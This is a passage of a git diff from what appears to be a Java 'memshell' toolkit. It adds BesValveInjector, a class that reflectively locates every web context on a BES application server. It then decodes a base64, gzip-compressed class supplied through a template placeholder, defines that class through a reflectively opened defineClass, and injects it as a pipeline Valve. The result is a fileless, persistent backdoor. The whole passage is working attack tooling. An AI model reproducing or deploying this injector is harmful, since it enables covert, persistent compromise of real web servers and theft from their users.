methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (NoSuchMethodException e) { + throw e; + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + methodName, e); + } + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/bes/injector/BesValveInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/bes/injector/BesValveInjector.java new file mode 100644 index 00000000..cebdad50 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/bes/injector/BesValveInjector.java @@ -0,0 +1,185 @@ +package com.reajason.javaweb.memshell.bes.injector; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; +import java.util.Map; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + */ +public class BesValveInjector { + + static { + new BesValveInjector(); + } + + public BesValveInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object valve = getShell(context); + inject(context, valve); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() { + return "{{base64Str}}"; + } + + public List getContext() throws Exception { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null); + for (Thread thread : threads) { + if (thread.getName().contains("ContainerBackgroundProcessor")) { + Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); + for (Object key : childrenMap.keySet()) { + Map children = (Map) getFieldValue(childrenMap.get(key), "children"); + for (Object key1 : children.keySet()) { + Object context = children.get(key1); + if (context != null) { + contexts.add(context); + } + } + } + } + } + return contexts; + } + + @SuppressWarnings("all") + private Object getShell(Object context) throws Exception { + Object obj; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + obj = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + obj = clazz.newInstance(); + } + return obj; + } + + @SuppressWarnings("all") + public boolean isInjected(Object pipeline) throws Exception { + Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null); + List valvesList = Arrays.asList(valves); + for (Object valve : valvesList) { + if (valve.getClass().getName().contains(getClassName())) { + return true; + } + } + return false; + } + + @SuppressWarnings("all") + public void inject(Object context, Object valve) throws Exception { + Object pipeline = invokeMethod(context, "getPipeline", null, null); + if (isInjected(pipeline)) { + System.out.println("valve already injected"); + return; + } + Class valveClass = context.getClass().getClassLoader().loadClass("com.bes.enterprise.webtier.Valve"); + invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve}); + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } finally { + if (gzipInputStream != null) { + try { + gzipInputStream.close(); + } catch (IOException ignored) { + } + } + out.close(); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException ignored) { + + } + } + throw new NoSuchFieldException(name); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (NoSuchMethodException e) { + throw e; + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + methodName, e); + } + } +} \ No newline at end of file